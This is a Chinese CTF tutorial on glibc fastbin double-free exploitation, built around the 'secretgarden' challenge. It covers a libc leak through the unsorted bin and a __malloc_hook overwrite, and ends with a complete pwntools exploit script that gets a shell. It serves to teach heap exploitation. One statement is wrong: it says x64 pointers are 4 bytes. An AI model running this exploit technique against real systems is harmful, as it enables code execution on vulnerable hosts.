fast bin double free
利用效果
任意地址写
利用原理
free的chunk如果要插入fastbin,只会和fastbin的头比较,如果和头不是同一个chunk,那么就可以插入,那么一次free chunk1,chunk2,chunk1就可以构造一个闭环的fastbin(fastbin自身是单向链表),然后malloc出fastbin头部的chunk(同样是尾部),覆盖这个chunk的fd,使其指向一个低于目的地址的fake chunk,此时fastbin不再是闭环,且fastbin尾部是一个fake chunk,多次malloc得到这个fake chunk后,覆写fake chunk可以实现覆写目标地址。
为什么fd指向fake chunk和fastbin的检查机制有关,详见后文
具体的利用流程,如下图所示:
注意到在利用的过程中,需要寻找一个fake chunk,这是由于malloc fastbin时,会检查被分配出去的chunk的大小是否对应了当前的fastbin链的idx,对应的代码如下:
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim));
return NULL;
}
这里面的victim
是要被malloc出去的chunk,要检查这个chunk的大小是否合法,比如当前fastbin的大小对应0x70
,如果chunksize的大小不是0x70
就会报错。所以需要在目标地址附近寻找一个fake chunk,满足fastbin的检查,其实在低地址寻找就可以了,因为heap是向高地址生长的。此后malloc出这个fake chunk,控制好payload的padding长度,就可以覆写目标地址。通常来说可以将__malloc_hook
或者__free_hook
覆写为one_gadget
。
例子
hitcontraining_secretgarden
逆向难度不是很大,发现定义了一个结构体
struct flower
{
char inuse;
char *name;
char color[24];
};
有四个主要操作,add
,visit
,remove
,clean
add
首先为flower分配一个chunk,然后根据name的长度分配对应大小的chunk,同时读入name,最后将flower的地址保存在flowerlist
中
visit
遍历整个flowerlist
,并根据每个flower
的inuse位输出flower的信息。
remove
将指定的flower的name free掉,根据flowerlist中的地址是否有效而决定是否free name的chunk,但是free后并没有将对应的freelist[idx]置为空,导致可以对一个chunk,多次free,如果name的chunk 是fastbin chunk那么可以达到fastbin double free的效果。
clean
同时根据flowerlist的地址以及对应地址的inuse位,free掉flower结构体所占用的chunk。
leak libc
开启了aslr
,需要泄漏libc的地址,泄漏的思路是利用unsorted bin
。undsorted bin
是一个双向链表,且保存在arena
中,对于单线程来说保存在main_arena
中,而main_arena
则保存在数据段,可以根据其地址泄漏libc
的地址。
具体的思路为,申请一个大于fastbin 的chunk,然后free掉(会被加入到unsorted bin中),由于此时unsorted bin只有一个chunk,此chunk的fd和bk均指向unsorted bin head
即main_arena+88
处,此后再次申请此大小的chunk(fastbin中找不到会在unsorted bin中找到并分配此chunk),由于一定会写入name字段,控制其长度为8,使其仅仅影响了原chunk的fd字段,bk字段没有被影响,然后visit时,会将bk字段输出,进而得到main_arena+88
,从而泄漏了libc_base
。
为什么unsorted bin head
对应main_arena+88
呢?实际上可以在源码中找到这部分代码
struct malloc_state
{
/* Serialize access. */
mutex_t mutex;
/* Flags (formerly in max_fast). */
int flags;
/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];
}
x64下指针4个字节,unsorted bin为bins的第一个元素,初始是其指向top
的地址,在malloc_init_state
初始化时计算得到的。
/* Establish circular links for normal bins */
for (i = 1; i < NBINS; ++i)
{
bin = bin_at (av, i);
bin->fd = bin->bk = bin;
}
而mutex
和flags
都是4字节,同时还有10个mfastbinptr
,故对应4+4+8*10,共88字节,所以unsorted bin head
对应main_arena+88
double free
leak libc之后可以得到__malloc_hook
的地址,目的是将__malloc_hook
覆盖为magic
的地址(题目中预留的后门),然后malloc时可以getshell。注意到remove操作中,可以对name的chunk 进行double free,于是可以考虑寻找一个__malloc_hook
下方的一个fake chunk,然后根据这个fake chunk的大小进行double free,不过需要注意的是在寻找fake chunk过程中要注意小端序的问题。
经过寻找后,发现如下地址
得到一个大小为0x70
的fake chunk,覆写__malloc_hook
需要填充0x13
个字节。
payload
最终的payload如下:
'''
@author: badmonkey
@software: PyCharm
@file: exp.py
@time: 2021/7/25 下午4:11
'''
from pwn import *
LOCAL = 1
DEBUG = 1
filename = "./secretgarden" # your file name
IP = "node4.buuoj.cn" # your ip
PORT = 26083 # your port
ld = "./ld-2.23.so"
libc = "./libc-2.23.so"
LIBC = ELF(libc)
gdb.context.terminal = ["konsole","-e"]
if DEBUG:
context.log_level = "debug"
elf = ELF(filename)
if LOCAL:
sh = process([ld,filename],env={"LD_PRELOAD":libc})
else:
sh = remote(IP,PORT)
def add(size,name):
sh.recvuntil("Your choice : ")
sh.sendline("1")
sh.recvuntil("name :")
sh.sendline(str(size))
sh.recvuntil("flower :")
sh.sendline(name)
sh.recvuntil("flower :")
sh.sendline("blue")
def show():
sh.recvuntil("choice : ")
sh.sendline("2")
def remove(index):
sh.recvuntil("choice : ")
sh.sendline("3")
sh.recvuntil("garden:")
sh.sendline(str(index))
def clean():
sh.recvuntil("choice : ")
sh.sendline("4")
def leave():
sh.recvuntil("choice : ")
sh.sendline("5")
add(0x80,"badmonkey")
add(0x60,"goodmonkey")
# free 0x80 到unsorted bin
remove(0)
clean()
# 将unsorted bin 中的元素提取出来一个,但是由于fd 和bk都指向了unsorted bin的头部(对应在数据段,main_arena中保存bin链)
# gdb.attach(sh)
add(0x80,"aaaaaaa")
show()
sh.recvuntil("aaaaaaa\n")
main_arena = u64(sh.recv(6).ljust(8,b"\x00"))-88
libc_base = main_arena - 0x19db20
__malloc_hook = libc_base+LIBC.sym["__malloc_hook"]
print("__malloc_hook = ",hex(__malloc_hook))
# print(hex(main_arena))
add(0x60,"a")
add(0x60,"a")
remove(1)
remove(2)
remove(1)
# gdb.attach(sh)
add(0x60,p64(__malloc_hook-0x23))
add(0x60,"a")
add(0x60,"a")
# gdb.attach(sh)
add(0x60,b"a"*0x13+p64(0x400C5E))
sh.sendline("1")
sh.interactive()